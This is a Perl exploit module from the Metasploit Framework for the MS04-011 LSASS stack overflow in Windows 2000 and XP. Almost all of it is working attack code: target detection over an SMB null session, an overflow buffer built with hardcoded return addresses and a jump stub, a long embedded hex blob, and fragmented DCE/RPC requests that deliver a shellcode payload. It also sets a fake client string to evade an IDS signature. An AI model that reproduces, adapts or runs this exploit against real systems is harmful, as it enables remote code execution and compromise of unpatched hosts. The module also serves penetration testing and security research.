
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::lsass_ms04_011;
use base "Msf::Exploit";
use strict;

use Pex::DCERPC;


my $advanced = 
{ 
    'FragSize'  => [1024, 'The application fragment size to use with DCE RPC'],
    'DirectSMB' => [0,    'Use the direct SMB protocol (445/tcp) instead of SMB over NetBIOS'],
    
};

my $info =
{
    'Name'  => 'Microsoft LSASS MSO4-011 Overflow',
    'Version'  => '$Revision: 1.24 $',
    'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000', 'winxp' ],
    'Priv'  => 1,
    'AutoOpts'  => { 'EXITFUNC' => 'thread' },
    'UserOpts'  => {
                    'RHOST'  => [1, 'ADDR', 'The target address'],
                    'RPORT'  => [1, 'PORT', 'The target port', 139],
                },

    'Payload' => {
                     'Space'  => 1024,
                     'BadChars'  => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
                     'Keys'      => ['+ws2ord'],
                     # sub esp, 4097 + inc esp makes stack happy
                     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",					 	 
                 },
    
    'Description'  => Pex::Text::Freeform(qq{
        This module exploits a stack overflow in the LSASS service, this vulnerability
        was originally found by eEye. When re-exploiting a Windows XP system, you will need
        need to run this module twice. DCERPC request fragmentation can be performed by setting
        'FragSize' parameter.
    }),
                
    'Refs'  =>   [  
                    ['OSVDB',   5248],
                    ['MSB',     'MS04-011'],
                 ],
    'DefaultTarget' => 0,
    'Targets'   =>
                 [
                   ['Automatic',    0x00000000],
                   ['Windows 2000', 0x773242e0],
                   ['Windows XP',   0x7449bf1a],
                 ],
    'Keys'  =>  ['lsass'],                 
};

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $target_name = '*SMBSERVER';
    
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $FragSize = $self->GetVar('FragSize') || 1024;
    
    my $target = $self->Targets->[$target_idx];
    my ($res, $rpc);

    if (! $self->InitNops(128)) {
	    $self->PrintLine("[*] Failed to initialize the nop module.");
		return;
	}
	
    my $beg =
    "\xad\x0d\x00\x00\x00\x00\x00\x00\xad\x0d\x00\x00";
    
    my $end = 
    "\x00\x00\x00\x00\x50\x6a\x40\x00\x01\x00\x00\x00".
    "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
    "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
    "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
    "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x50\x6a\x40\x00".
    "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00".
    "\x50\x6a\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
    "\x00\x00\x00\x00\x50\x6a\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00".
    "\x01\x00\x00\x00\x00\x00\x00\x00\x50\x80\x23\x00\xdf\xaf\xff\x33".
    "\x9b\x78\x70\x43\xc5\x0a\x4d\x98\x96\x02\x64\x92\xc1\xee\x70\x32".
    "\x65\xc1\xef\x7b\xd6\xaa\xd6\x09\x21\xf6\xe7\xd1\x4c\xdf\x6a\x2d".
    "\x0a\xfb\x43\xea\xda\x07\x24\x84\x88\x52\x9e\xa8\xa1\x7f\x4b\x60".
    "\xec\x94\x57\x33\x06\x93\x92\x25\xd6\xac\xdc\x89\x68\x5e\xbb\x32".
    "\x2b\x17\x68\xf2\x06\xb7\x86\xac\x81\xfe\x52\x27\xf5\x80\x11\x0d".
    "\x4e\x2e\x1b\xa3\x44\x8a\x58\xed\xf3\x9c\xe9\x31\x01\x72\xa6\xab".
    "\xfa\xa8\x05\x00\x37\x60\x6b\x81\xef\xf4\x96\x9a\xf7\x67\x95\x27".
    "\x7a\x25\xef\x6f\x0e\xff\x2d\x15\x7f\x23\x1c\xa7\x56\x94\x4a\x18".
    "\x98\xc6\xd8\xd2\x29\x5b\x57\xb8\x5d\x3a\x93\x58\x45\x77\x36\xe3".
    "\xd1\x36\x87\xff\xe3\x94\x0f\x00\xe6\x7c\x1a\x92\xc1\x5f\x40\xc3".
    "\xa3\x25\xce\xd4\xaf\x39\xeb\x17\xcf\x22\x43\xd9\x0c\xce\x37\x86".
    "\x46\x54\xd6\xce\x00\x30\x36\xae\xf9\xb5\x2b\x11\xa0\xfe\xa3\x4b".
    "\x2e\x05\xbe\x54\xa9\xd8\xa5\x76\x83\x5b\x63\x01\x1c\xd4\x56\x72".
    "\xcd\xdc\x4a\x1d\x77\xda\x8a\x9e\xba\xcb\x6c\xe8\x19\x5d\x68\xef".
    "\x8e\xbc\x6a\x05\x53\x0b\xc7\xc5\x96\x84\x04\xd9\xda\x4c\x42\x31".
    "\xd9\xbd\x99\x06\xf7\xa3\x0a\x19\x49\x07\x77\xf0\xdb\x7c\x43\xfa".
    "\xb2\xad\xb0\xfa\x87\x52\xba\xc9\x94\x61\xdc\xcf\x16\xac\x0f\x4a".
    "\xa3\x6b\x5b\x6e\x27\x86\x1f\xfe\x4d\x28\x3a\xa5\x10\x54\x6d\xed".
    "\x53\xf9\x73\xc6\x6e\xa8\xc0\x97\xcf\x56\x3b\x61\xdf\xab\x83\x18".
    "\xe8\x09\xee\x6a\xb7\xf5\xc9\x62\x55\x2d\xc7\x0c\x0d\xa0\x22\xd8".
    "\xd4\xd6\xb2\x12\x21\xd7\x73\x3e\x41\xb0\x5c\xd4\xcf\x98\xf3\x70".
    "\xe6\x08\xe6\x2a\x4f\x24\x85\xe8\x74\xa8\x41\x5f\x0e\xfd\xf1\xf3".
    "\xbe\x9b\x14\xfd\xc0\x73\x11\xff\xa5\x5b\x06\x34\xc3\x6c\x28\x42".
    "\x07\xfe\x8a\xa5\xbe\x72\x7a\xf7\xfa\x25\xec\x35\x5e\x98\x71\x50".
    "\x60\x35\x76\x53\x40\x1a\x34\xa5\x99\x09\xa2\xc6\xca\xa5\xce\x08".
    "\x50\x45\xab\x8d\xfb\xe3\xb8\xe4\x8a\x61\x48\x14\x6e\xf7\x58\x71".
    "\xe5\x2e\xbc\x12\xd1\x25\xe9\x65\x7a\xa1\x27\xbe\x3b\x8b\xe8\xe7".
    "\xbc\xe1\x05\xe7\x92\xeb\xb9\xdf\x5d\x53\x74\xc0\x63\x97\x80\xb8".
    "\x3c\xae\xf3\xf2\x09\x12\x81\x6c\x69\x10\x6f\xf6\xbe\x03\x7b\x88".
    "\xcf\x26\x6b\x51\x06\x23\x68\x03\xa1\xb7\xd3\x0c\xca\xbf\x29\x01".
    "\xa9\x61\x34\x75\x98\x1e\x05\x59\xb3\x46\x44\xff\x2b\x98\x04\x88".
    "\x89\xfd\x7f\xd5\x19\x8a\xa6\xf3\xd9\x44\xd5\xf9\x3a\x3c\xec\xd9".
    "\x9b\x8c\x93\x93\x2b\x44\x86\x8b\x80\x83\x23\x00\xdf\xaf\xff\x33".
    "\x9b\x78\x70\x43\xf1\x55\x87\xb1\xa1\xb3\x8e\x79\x02\x70\x82\x6c".
    "\x0b\xc1\xef\x96\xf1\xef\xdd\xa2\x69\x86\xc7\x85\x09\x7e\xf0\x2f".
    "\x8e\xa0\x5f\xea\x39\x2e\x24\xf0\x82\x30\x26\xa8\xa1\x4f\xc6\x5c".
    "\xec\x94\x87\x52\x9b\x93\x92\xf3\xa3\x1b\xc7\x8f\x9e\xb3\xbb\x32".
    "\x2b\x17\x54\xf2\x06\x0c\x86\x92\x0f\xb8\xe0\x27\x50\xaa\xeb\xf5".
    "\x4e\x2b\x1b\xb2\x44\xe6\x58\x02\xd7\x65\xdc\x31\x01\xec\xa6\xab".
    "\xfa\xa8\x05\x00\x37\x60\x4f\xa1\x3c\x4f\x7a\x9a\x10\x67\x95\xc2".
    "\x5b\x25\xef\x76\x0e\xff\x2d\x15\x7f\x23\x1c\x77\x56\x94\x4a\x18".
    "\x98\xc6\xd8\xd2\x29\x44\x57\xb8\x40\x3a\x93\x58\x45\x77\x36\x36".
    "\x07\x35\x2a\xff\x00\x94\x5c\x80\xe6\x7c\x1a\x92\xc1\x5f\x40\xc3".
    "\xbc\xf8\xce\x05\x77\x39\x40\x17\xcf\x63\x43\x77\x27\xce\x37\x86".
    "\x46\x54\xd6\xce\x00\x30\x36\xae\x9f\x24\x2b\x5a\xa0\xfe\xa3\x4b".
    "\x2e\x7e\xf7\x54\xa9\xd8\xa5\x76\x83\x7b\x63\x01\x1c\xd4\x56\x17".
    "\x02\xdc\x4a\x89\x77\xda\x8f\x9e\xba\xcb\x37\xe8\x19\x5d\x68\x38".
    "\x8e\xbc\x6a\x05\x53\x0b\xc7\xc5\x96\x84\x5a\xd9\x6d\x4c\x42\x31".
    "\xd9\xf2\x99\x06\xf7\x0c\x99\xbe\x49\x07\x77\xf0\x8b\x7c\x43\xfa".
    "\xb2\xad\xb0\xfa\x87\x52\xba\xc9\x94\x61\xdc\xcf\x16\xac\x0f\x4a".
    "\xa3\x6b\x5b\x6e\x27\x86\x1f\xfe\x4d\x28\x3a\xa5\x10\x98\x6d\xed".
    "\x53\xf9\x73\xc6\xa5\xa8\xf7\x66\xcf\x56\x3b\x61\xdf\xab\x83\x18".
    "\xe8\x09\xee\x6a\xb7\xf5\xc9\x62\x55\x2d\xc7\x0c\x0d\xa0\x22\xd8".
    "\xd4\xd6\xb2\x12\x21\xd7\x73\x3e\x41\xb0\x5c\xd4\xcf\x98\xf3\x70".
    "\xe6\x08\xe6\x2a\x4f\x92\x85\xe8\x74\xa8\x41\x5f\x0e\xfd\xf1\xf3".
    "\xbe\x9b\x14\xfd\xc0\x73\x11\xff\xa5\x5b\x06\x34\xc3\x5d\x28\x42".
    "\x34\xfe\x8a\xa5\xbe\x72\x7a\xf7\xfa\x25\x2b\x35\x5e\x98\x71\x50".
    "\x2c\x35\x76\x53\x4e\x1a\x34\xa5\x99\x09\xa2\xc6\xca\xa5\xce\x08".
    "\x50\x45\xab\x8d\xfb\xe3\xb8\xe4\x8a\x61\x48\x14\x6e\xf7\x58\x71".
    "\xe5\x2e\xbc\x12\xd1\x25\xe9\x65\x7a\xa1\x27\xbe\x3b\x8b\xe8\xe7".
    "\xbc\x77\x05\xe7\x92\xeb\xb9\xdf\x5d\x53\x74\xc0\x63\x97\x80\xb8".
    "\x3c\xae\xf3\xf2\x09\x12\x81\x6c\x69\x10\x6f\xf6\xbe\x03\x7b\x88".
    "\xcf\x26\x6b\x51\x06\x23\x68\x03\xa1\xb7\xd3\x0c\xca\xbf\x29\x01".
    "\xa9\x61\x34\x75\x98\x1e\x6f\x59\xb3\x46\x44\xff\x2b\x98\x04\x88".
    "\x89\xfd\x1c\xd5\x19\x8a\xa6\xf3\xd9\x44\xd5\xf9\x79\x26\x46\xf7".
    "\xbf\xa1\x12\x73\x23\x44\x86\x8b\x50\x6a\x40\x00";

    
    my $s = Msf::Socket::Tcp->new
    (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
    );

    if ($s->IsError) {
        $self->PrintLine("[*] Socket error: " . $s->GetError());
        return(0);
    }

    my $x = Pex::SMB->new({ 'Socket' => $s });

    # Cisco actually added a "metasploit" signature...
    $x->NativeLM('LameCiscoIDSDevelopers');

    if ($target_port != 445 && ! $self->GetVar('DirectSMB')) {
        $x->SMBSessionRequest($target_name);
        if ($x->Error) {
            $self->PrintLine("[*] Session request failed for $target_name");
            return;
        }
    }

    $x->Encrypted(1);
    $x->SMBNegotiate();
    $x->SMBSessionSetup();
    if ($x->Error) {
        $self->PrintLine("[*] Failed to establish a null session");
        return;
    }
    
    $target_name = $x->DefaultNBName;
	
    if ($target->[0] =~ /Auto/) {
        if ($x->PeerNativeOS eq 'Windows 5.0') {
            $target = $self->Targets->[1];
            $self->PrintLine("[*] Detected a Windows 2000 target ($target_name)");
        } 
        elsif ( $x->PeerNativeOS eq 'Windows 5.1') {
            $target = $self->Targets->[2];
            $self->PrintLine("[*] Detected a Windows XP target ($target_name)");
        } else {
            $self->PrintLine("[*] No target available for ".$x->PeerNativeOS." ($target_name)");
            return;
        }
    }
    

    my ($pattern, $overflow);
    
    # Windows 2000 requires that the string be unicode formatted
    # and give us a nice set of registers which point back to 
    # the un-unicoded data. We simply return to a nop sled that
    # jumps over the return address, some trash, and into the
    # final payload. Easy as pie.
    
	# $shellcode = "\xcc" x length($shellcode);
	
    if ($target->[0] =~ /2000/) {
        $pattern = Pex::Text::EnglishText(3500);
        substr($pattern, 2020, 4, pack('V', $target->[1]));
        substr($pattern, 2104, length($shellcode), $shellcode);
        $overflow = $beg . Pex::SMB->NTUnicode($pattern) . $end;    
    }
    
    
    # Windows XP is a bit different, we need to use an ascii
    # buffer and a jmp esp. The esp register points to an
    # eight byte segment at the end of our buffer in memory,
    # we make these bytes jump back to the beginning of the
    # buffer, giving us about 1936 bytes of space for a
    # payload.
    
    if ($target->[0] =~ /XP/) {
        $pattern = Pex::Text::EnglishText(7000);
        substr($pattern, 0, length($shellcode), $shellcode);
        substr($pattern, 1964, 4, pack('V', $target->[1]));
        substr($pattern, 1980, 5, "\xe9\x3f\xf8\xff\xff");  # jmp back to 1980 (disco fever)
        $overflow = $beg . $pattern. $end; 
        $self->PrintLine("[*] Windows XP may require two attempts");
        
        if ($FragSize > 4000) {
            $self->PrintLine("[*] Windows XP actually enforces maximum fragment size");
            $self->PrintLine("[*] Shrinking the DCE frag size down to 4000");
            $FragSize = 4000;
        }
    }


    $x->SMBTConnect("\\\\".$target_host."\\IPC\$");
    if ($x->Error) {
        $self->PrintLine("[*] Failed to connect to the IPC share");
        return;
    }

    my $Bind = Pex::DCERPC::Bind(Pex::DCERPC::UUID('LSA_DS'), '0.0');
    my (@DCE) = Pex::DCERPC::Request(9, $overflow, $FragSize);


    $x->SMBCreate('\lsarpc');
    if ($x->Error) {
        $self->PrintLine("[*] Failed to create pipe to LSASS");
        return;
    }
    
    $x->SMBTransNP($x->LastFileID, $Bind);
    if ($x->Error) {
        $self->PrintLine("[*] Failed to bind to LSASS over DCE RPC");
        return;
    }
    
    my $offset = 0;
    $self->PrintLine("[*] Sending ".(scalar(@DCE)-1)." DCE request fragments..."); 
    
    if (scalar(@DCE) > 6000) {
        $self->PrintLine("[*] This is going to take some time, go order pizza");        
    }
    elsif (scalar(@DCE) > 4000) {
        $self->PrintLine("[*] This is going to take some time, go make pasta");        
    }
    elsif (scalar(@DCE) > 2000) {
        $self->PrintLine("[*] This is going to take some time, go make a sandwich");        
    }  
    elsif (scalar(@DCE) > 1200) {
        $self->PrintLine("[*] This is going to take some time, go get a beer...");        
    }
    elsif (scalar(@DCE) > 800) {
        $self->PrintLine("[*] This is going to take some time, go get a glass of soda...");        
    }
    elsif (scalar(@DCE) > 600) {
        $self->PrintLine("[*] This is going to take some time, go get a can of soda...");    
    }

    while (scalar(@DCE != 1)) {
        my $chunk = shift(@DCE);
        $x->SMBWrite($x->LastFileID, $offset, $chunk);
        $offset += length($chunk);
    }

    $self->PrintLine("[*] Sending the final DCE fragment");
    $x->SMBTransNP($x->LastFileID, $DCE[0]);
}

